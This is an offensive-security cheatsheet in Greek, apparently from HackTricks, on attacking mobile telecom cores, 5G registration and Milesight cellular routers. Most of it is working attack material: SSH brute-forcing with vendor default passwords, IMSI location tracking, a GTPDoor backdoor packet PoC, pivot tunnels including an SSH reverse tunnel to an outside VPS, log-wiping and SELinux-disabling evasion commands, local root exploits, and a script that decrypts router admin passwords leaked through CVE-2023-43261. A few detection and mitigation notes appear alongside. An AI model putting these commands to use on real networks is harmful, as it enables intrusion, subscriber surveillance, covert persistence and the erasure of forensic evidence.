21 KiB
Raw Blame History

Εκμετάλλευση Δικτύων Τηλεπικοινωνιών (GTP / Roaming Environments)

{{#include ../../banners/hacktricks-training.md}}

Note

Τα πρωτόκολλα του mobile-core (GPRS Tunnelling Protocol GTP) συχνά διατρέχουν ημι-αξιόπιστες GRX/IPX roaming backbones. Επειδή κινούνται πάνω σε απλό UDP με σχεδόν καθόλου authentication, οποιοδήποτε foothold εντός του περιγράμματος ενός τηλεπικοινωνιακού δικτύου συνήθως μπορεί να φτάσει απευθείας τα core signalling planes. Οι παρακάτω σημειώσεις συγκεντρώνουν επιθετικά κόλπα παρατηρημένα στο πεδίο εναντίον SGSN/GGSN, PGW/SGW και άλλων κόμβων EPC.

1. Recon & Initial Access

1.1 Default OSS / NE Accounts

Ένας εκπληκτικά μεγάλος αριθμός εξοπλισμού δικτύου προμηθευτών αποστέλλεται με hard-coded SSH/Telnet accounts όπως root:admin, dbadmin:dbadmin, cacti:cacti, ftpuser:ftpuser, … Ένα αφιερωμένο wordlist αυξάνει δραματικά την επιτυχία brute-force:

hydra -L usernames.txt -P vendor_telecom_defaults.txt ssh://10.10.10.10 -t 8 -o found.txt

Αν η συσκευή εκθέτει μόνο ένα management VRF, pivot μέσω ενός jump host πρώτα (βλέπε ενότητα «SGSN Emu Tunnel» παρακάτω).

1.2 Ανακάλυψη hosts μέσα στο GRX/IPX

Οι περισσότεροι χειριστές GRX εξακολουθούν να επιτρέπουν ICMP echo σε όλο το backbone. Συνδύασε το masscan με τους ενσωματωμένους gtpv1 UDP probes για γρήγορη χαρτογράφηση των GTP-C listeners:

masscan 10.0.0.0/8 -pU:2123 --rate 50000 --router-ip 10.0.0.254 --router-mac 00:11:22:33:44:55

2. Εντοπισμός Συνδρομητών cordscan

Το παρακάτω εργαλείο Go συνθέτει πακέτα GTP-C Create PDP Context Request και καταγράφει τις απαντήσεις. Κάθε απάντηση αποκαλύπτει το τρέχον SGSN / MME που εξυπηρετεί το ερωτώμενο IMSI και, μερικές φορές, το PLMN που επισκέφθηκε ο συνδρομητής.

# Build
GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan

# Usage (typical):
./cordscan --imsi 404995112345678 --oper 40499 -w out.pcap

Key flags:

  • --imsi IMSI του στοχευόμενου συνδρομητή
  • --oper Home / HNI (MCC+MNC)
  • -w Καταγραφή raw πακέτων σε pcap

Σημαντικές σταθερές μέσα στο binary μπορούν να τροποποιηθούν για να διευρύνουν τις σαρώσεις:

pingtimeout       = 3   // seconds before giving up
pco               = 0x218080
common_tcp_ports  = "22,23,80,443,8080"

3. Εκτέλεση κώδικα μέσω GTP GTPDoor

GTPDoor είναι μια μικρή ELF υπηρεσία που δεσμεύει UDP 2123 και αναλύει κάθε εισερχόμενο πακέτο GTP-C. Όταν το payload ξεκινά με ένα προ-κοινό tag, το υπόλοιπο αποκρυπτογραφείται (AES-128-CBC) και εκτελείται μέσω /bin/sh -c. Το stdout/stderr εξάγονται μέσα σε Echo Response μηνύματα ώστε να μην δημιουργηθεί ποτέ εξωτερική συνεδρία.

Minimal PoC packet (Python):

import gtpc, Crypto.Cipher.AES as AES
key = b"SixteenByteKey!"
cmd = b"id;uname -a"
enc = AES.new(key, AES.MODE_CBC, iv=b"\x00"*16).encrypt(cmd.ljust(32,b"\x00"))
print(gtpc.build_echo_req(tag=b"MAG1C", blob=enc))

Ανίχνευση:

  • οποιοσδήποτε host που στέλνει unbalanced Echo Requests σε SGSN IPs
  • GTP version flag ορισμένο σε 1 ενώ message type = 1 (Echo) απόκλιση από τη προδιαγραφή

4. Pivoting μέσω του Core

4.1 sgsnemu + SOCKS5

OsmoGGSN παρέχει έναν SGSN emulator ικανό να εγκαθιδρύσει ένα PDP context προς ένα πραγματικό GGSN/PGW. Μόλις ολοκληρωθεί η διαπραγμάτευση, το Linux αποκτά μια νέα διεπαφή tun0 προσβάσιμη από το roaming peer.

sgsnemu -g 10.1.1.100 -i 10.1.1.10 -m 40499 -s 404995112345678 \
-APN internet -c 1 -d
ip route add 172.16.0.0/12 dev tun0
microsocks -p 1080 &   # internal SOCKS proxy

Με σωστό firewall hair-pinning, αυτός ο tunnel παρακάμπτει τα signalling-only VLANs και σας φέρνει απευθείας στο data plane.

4.2 SSH Reverse Tunnel over Port 53

Το DNS είναι σχεδόν πάντα ανοιχτό σε roaming υποδομές. Εκθέστε μια εσωτερική υπηρεσία SSH στο VPS σας που ακούει στη θύρα :53 και επιστρέψτε αργότερα από το σπίτι:

ssh -f -N -R 0.0.0.0:53:127.0.0.1:22 user@vps.example.com

Ελέγξτε ότι το GatewayPorts yes είναι ενεργοποιημένο στο VPS.

5. Κρυφά Κανάλια

Κανάλι Μεταφορά Αποκωδικοποίηση Σημειώσεις
ICMP EchoBackdoor ICMP Echo Req/Rep 4-byte key + 14-byte chunks (XOR) pure passive listener, no outbound traffic
DNS NoDepDNS UDP 53 XOR (key = funnyAndHappy) encoded in A-record octets παρακολουθεί για υποτομέα *.nodep
GTP GTPDoor UDP 2123 AES-128-CBC blob in private IE συνδυάζεται με νόμιμη GTP-C κίνηση

Όλα τα implants υλοποιούν watchdogs που timestomp τα binaries τους και re-spawn αν καταρρεύσουν.

6. Defense Evasion Cheatsheet

# Remove attacker IPs from wtmp
utmpdump /var/log/wtmp | sed '/203\.0\.113\.66/d' | utmpdump -r > /tmp/clean && mv /tmp/clean /var/log/wtmp

# Disable bash history
export HISTFILE=/dev/null

# Masquerade as kernel thread
echo 0 > /proc/$$/autogroup   # hide from top/htop
printf '\0' > /proc/$$/comm    # appears as [kworker/1]

touch -r /usr/bin/time /usr/bin/chargen   # timestomp
setenforce 0                              # disable SELinux

7. Privilege Escalation σε Legacy NE

# DirtyCow  CVE-2016-5195
gcc -pthread dirty.c -o dirty && ./dirty /etc/passwd

# PwnKit  CVE-2021-4034
python3 PwnKit.py

# Sudo Baron Samedit  CVE-2021-3156
python3 exploit_userspec.py

Συμβουλή καθαρισμού:

userdel firefart 2>/dev/null
rm -f /tmp/sh ; history -c

8. Tool Box

  • cordscan, GTPDoor, EchoBackdoor, NoDepDNS custom tooling described in previous sections.
  • FScan : σάρωση TCP σε intranet (fscan -p 22,80,443 10.0.0.0/24)
  • Responder : LLMNR/NBT-NS rogue WPAD
  • Microsocks + ProxyChains : lightweight SOCKS5 pivoting
  • FRP (≥0.37) : NAT traversal / asset bridging

9. 5G NAS Registration Attacks: SUCI leaks, downgrade to EEA0/EIA0, and NAS replay

Η διαδικασία εγγραφής 5G τρέχει πάνω από NAS (Non-Access Stratum) πάνω από NGAP. Μέχρι να ενεργοποιηθεί η NAS security μέσω Security Mode Command/Complete, τα αρχικά μηνύματα δεν είναι authenticated και δεν είναι encrypted. Αυτό το προ-ασφαλείας παράθυρο επιτρέπει πολλαπλές διαδρομές επίθεσης όταν μπορείτε να παρατηρήσετε ή να παραποιήσετε την N2 κίνηση (π.χ., on-path μέσα στο core, rogue gNB, ή testbed).

Registration flow (simplified):

  • Registration Request: UE στέλνει SUCI (κρυπτογραφημένο SUPI) και capabilities.
  • Authentication: AMF/AUSF στέλνουν RAND/AUTN; το UE επιστρέφει RES*.
  • Security Mode Command/Complete: διαπραγματεύονται και ενεργοποιούνται NAS integrity και ciphering.
  • PDU Session Establishment: setup IP/QoS.

Lab setup tips (non-RF):

  • Core: Open5GS default deployment είναι επαρκές για την αναπαραγωγή των flows.
  • UE: simulator ή test UE; decode με Wireshark.
  • Active tooling: 5GReplay (capture/modify/replay NAS within NGAP), Sni5Gect (sniff/patch/inject NAS on the fly χωρίς να ανεβάσετε πλήρες rogue gNB).
  • Useful display filters in Wireshark:
  • ngap.procedure_code == 15 (InitialUEMessage)
  • nas_5g.message_type == 65 or nas-5gs.message_type == 65 (Registration Request)

9.1 Identifier privacy: SUCI failures exposing SUPI/IMSI

Αναμενόμενο: UE/USIM πρέπει να μεταδίδει SUCI (SUPI κρυπτογραφημένο με το public key του home-network). Η εύρεση ενός plaintext SUPI/IMSI στο Registration Request υποδεικνύει πρόβλημα ιδιωτικότητας που επιτρέπει μόνιμο tracking συνδρομητή.

How to test:

  • Capture το πρώτο NAS μήνυμα στο InitialUEMessage και επιθεωρήστε το Mobile Identity IE.
  • Wireshark quick checks:
  • Πρέπει να decode ως SUCI, όχι IMSI.
  • Παραδείγματα φίλτρων: nas-5gs.mobile_identity.suci || nas_5g.mobile_identity.suci πρέπει να υπάρχει; η απουσία του μαζί με την παρουσία imsi υποδεικνύει διαρροή.

What to collect:

  • MCC/MNC/MSIN αν εκτίθενται; καταγράψτε ανά-UE και παρακολουθήστε σε χρόνο/τοποθεσίες.

Mitigation:

  • Εφαρμόστε SUCI-only UEs/USIMs; alert σε οποιοδήποτε IMSI/SUPI στο αρχικό NAS.

9.2 Capability bidding-down to null algorithms (EEA0/EIA0)

Background:

  • Το UE ανακοινώνει τις υποστηριζόμενες EEA (encryption) και EIA (integrity) στο UE Security Capability IE του Registration Request.
  • Συνηθισμένες αντιστοιχίσεις: EEA1/EIA1 = SNOW3G, EEA2/EIA2 = AES, EEA3/EIA3 = ZUC; EEA0/EIA0 είναι null algorithms.

Issue:

  • Επειδή το Registration Request δεν είναι integrity protected, ένας on-path attacker μπορεί να καθαρίσει bits των capabilities για να εξαναγκάσει την επιλογή EEA0/EIA0 αργότερα κατά το Security Mode Command. Κάποια stacks λανθασμένα επιτρέπουν null algorithms εκτός emergency services.

Offensive steps:

  • Intercept το InitialUEMessage και τροποποιήστε το NAS UE Security Capability ώστε να ανακοινώνει μόνο EEA0/EIA0.
  • Με Sni5Gect, hook το NAS μήνυμα και patch τα capability bits πριν το προωθήσετε.
  • Παρατηρήστε εάν το AMF αποδέχεται null ciphers/integrity και ολοκληρώνει το Security Mode με EEA0/EIA0.

Verification/visibility:

  • Στο Wireshark, επιβεβαιώστε τα selected algorithms μετά το Security Mode Command/Complete.
  • Example passive sniffer output:
Encyrption in use [EEA0]
Integrity in use [EIA0, EIA1, EIA2]
SUPI (MCC+MNC+MSIN) 9997000000001

Μέτρα αντιμετώπισης (υποχρεωτικά):

  • Configure AMF/policy to reject EEA0/EIA0 except where strictly mandated (e.g., emergency calls).
  • Prefer enforcing EEA2/EIA2 at minimum; log and alarm on any NAS security context that negotiates null algorithms.

9.3 Replay του αρχικού Registration Request (pre-security NAS)

Επειδή το αρχικό NAS στερείται ακεραιότητας και φρεσκάδας, το καταγεγραμμένο InitialUEMessage+Registration Request μπορεί να replayed στο AMF.

Κανόνας PoC για το 5GReplay για να προωθεί matching replays:

<beginning>
<property value="THEN"
property_id="101"
type_property="FORWARD"
description="Forward InitialUEMessage with Registration Request">

<!-- Trigger on NGAP InitialUEMessage (procedureCode == 15) -->
<event value="COMPUTE"
event_id="1"
description="Trigger: InitialUEMessage"
boolean_expression="ngap.procedure_code == 15"/>

<!-- Context match on NAS Registration Request (message_type == 65) -->
<event value="COMPUTE"
event_id="2"
description="Context: Registration Request"
boolean_expression="nas_5g.message_type == 65"/>

</property>
</beginning>

What to observe:

  • Τι να παρατηρήσετε: Εάν το AMF αποδέχεται το replay και προχωρά στην Αυθεντικοποίηση· η έλλειψη ελέγχου φρεσκάδας/πλαισίου υποδεικνύει έκθεση.

Mitigations:

  • Αντιμετώπιση: Επιβάλετε replay protection/context binding στο AMF· εφαρμόστε rate-limit και συσχέτιση ανά GNB/UE.

9.4 Tooling pointers (reproducible)

  • Open5GS: αναπτύξτε ένα AMF/SMF/UPF για να προσομοιώσετε τον core· παρατηρήστε N2 (NGAP) και NAS.
  • Wireshark: επαληθεύστε τις αποκωδικοποιήσεις των NGAP/NAS· εφαρμόστε τα παραπάνω φίλτρα για να απομονώσετε το Registration.
  • 5GReplay: καταγράψτε μια Registration, στη συνέχεια replay συγκεκριμένα μηνύματα NGAP + NAS σύμφωνα με τον κανόνα.
  • Sni5Gect: live sniff/modify/inject του NAS control-plane για να εξαναγκάσετε null algorithms ή να διαταράξετε τις authentication sequences.

9.5 Defensive checklist

  • Λίστα ελέγχου άμυνας: Επιθεωρείτε συνεχώς τα Registration Request για plaintext SUPI/IMSI· μπλοκάρετε τις συσκευές/USIMs που παραβιάζουν.
  • Απορρίψτε EEA0/EIA0 εκτός από αυστηρά ορισμένες διαδικασίες έκτακτης ανάγκης· απαιτήστε τουλάχιστον EEA2/EIA2.
  • Ανιχνεύστε rogue ή λανθασμένα διαμορφωμένη υποδομή: μη εξουσιοδοτημένα gNB/AMF, απροσδόκητοι N2 peers.
  • Ειδοποιήστε για NAS security modes που οδηγούν σε null algorithms ή σε συχνά replays του InitialUEMessage.

10. Industrial Cellular Routers Unauthenticated SMS API Abuse (Milesight UR5X/UR32/UR35/UR41) and Credential Recovery (CVE-2023-43261)

Η κατάχρηση εκτεθειμένων web APIs βιομηχανικών Cellular Routers επιτρέπει stealthy, carrier-origin smishing σε μεγάλη κλίμακα. Οι Milesight UR-series routers εκθέτουν ένα JSON-RPCstyle endpoint στο /cgi. Όταν είναι λανθασμένα διαμορφωμένοι, το API μπορεί να ερωτηθεί χωρίς authentication για να απαριθμήσει τα εισερχόμενα/εξερχόμενα SMS και, σε κάποιες εγκαταστάσεις, να στείλει SMS.

Τυπικά μη-επαληθευμένα αιτήματα (ίδια δομή για εισερχόμενα/εξερχόμενα):

POST /cgi HTTP/1.1
Host: <router>
Content-Type: application/json

{ "base": "query_outbox", "function": "query_outbox", "values": [ {"page":1,"per_page":50} ] }
{ "base": "query_inbox", "function": "query_inbox", "values": [ {"page":1,"per_page":50} ] }

Οι απαντήσεις περιλαμβάνουν πεδία όπως timestamp, content, phone_number (E.164), και status (success ή failed). Επαναλαμβανόμενες αποστολές με κατάσταση failed προς τον ίδιο αριθμό είναι συχνά attacker “capability checks” για να επιβεβαιώσουν ότι ένας router/SIM μπορεί να παραδώσει πριν το blasting.

Παράδειγμα curl για exfiltrate SMS metadata:

curl -sk -X POST http://<router>/cgi \
-H 'Content-Type: application/json' \
-d '{"base":"query_outbox","function":"query_outbox","values":[{"page":1,"per_page":100}]}'

Σημειώσεις σχετικά με auth artifacts:

  • Κάποια κίνηση μπορεί να περιλαμβάνει ένα auth cookie, αλλά ένα μεγάλο μέρος των εκτεθειμένων συσκευών απαντά χωρίς οποιαδήποτε authentication στις query_inbox/query_outbox όταν το management interface είναι Internet-facing.
  • Σε περιβάλλοντα που απαιτούν auth, previously-leaked credentials (see below) αποκαθιστούν την πρόσβαση.

Credential recovery path CVE-2023-43261:

  • Επηρεαζόμενες οικογένειες: UR5X, UR32L, UR32, UR35, UR41 (pre v35.3.0.7).
  • Πρόβλημα: web-served logs (π.χ. httpd.log) είναι προσβάσιμα χωρίς authentication κάτω από /lang/log/ και περιέχουν admin login events με το password κρυπτογραφημένο χρησιμοποιώντας ένα hardcoded AES key/IV που υπάρχει σε client-side JavaScript.
  • Πρακτική πρόσβαση και decrypt:
curl -sk http://<router>/lang/log/httpd.log | sed -n '1,200p'
# Look for entries like: {"username":"admin","password":"<base64>"}

Ελάχιστο Python script για να decrypt leaked passwords (AES-128-CBC, hardcoded key/IV):

import base64
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
KEY=b'1111111111111111'; IV=b'2222222222222222'
enc_b64='...'  # value from httpd.log
print(unpad(AES.new(KEY, AES.MODE_CBC, IV).decrypt(base64.b64decode(enc_b64)), AES.block_size).decode())

Ιδέες hunting και ανίχνευσης (network):

  • Ειδοποίηση για μη-επαληθευμένο POST /cgi του οποίου το JSON body περιέχει base/function ορισμένο σε query_inbox ή query_outbox.
  • Παρακολούθηση επαναλαμβανόμενων POST /cgi bursts ακολουθούμενων από status":"failed" εγγραφές σε πολλούς μοναδικούς αριθμούς από την ίδια source IP (capability testing).
  • Inventory Internet-exposed Milesight routers; περιορίστε τη διαχείριση σε VPN; απενεργοποιήστε λειτουργίες SMS εκτός αν απαιτούνται; αναβαθμίστε σε ≥ v35.3.0.7; περιστρέψτε credentials και ελέγξτε SMS logs για άγνωστα sends.

Shodan/OSINT pivots (παραδείγματα που εντοπίστηκαν στον πραγματικό κόσμο):

  • http.html:"rt_title" matches Milesight router panels.
  • Google dorking για εκτεθειμένα logs: "/lang/log/system" ext:log.

Λειτουργικός αντίκτυπος: η χρήση νόμιμων carrier SIMs εντός routers παρέχει πολύ υψηλή SMS deliverability/credibility για phishing, ενώ η έκθεση των inbox/outbox leaks ευαίσθητα metadata σε μεγάλη κλίμακα.


Ιδέες Ανίχνευσης

  1. Any device other than an SGSN/GGSN establishing Create PDP Context Requests.
  2. Non-standard ports (53, 80, 443) receiving SSH handshakes from internal IPs.
  3. Frequent Echo Requests without corresponding Echo Responses might indicate GTPDoor beacons.
  4. High rate of ICMP echo-reply traffic with large, non-zero identifier/sequence fields.
  5. 5G: InitialUEMessage carrying NAS Registration Requests repeated from identical endpoints (replay signal).
  6. 5G: NAS Security Mode negotiating EEA0/EIA0 outside emergency contexts.

References

{{#include ../../banners/hacktricks-training.md}}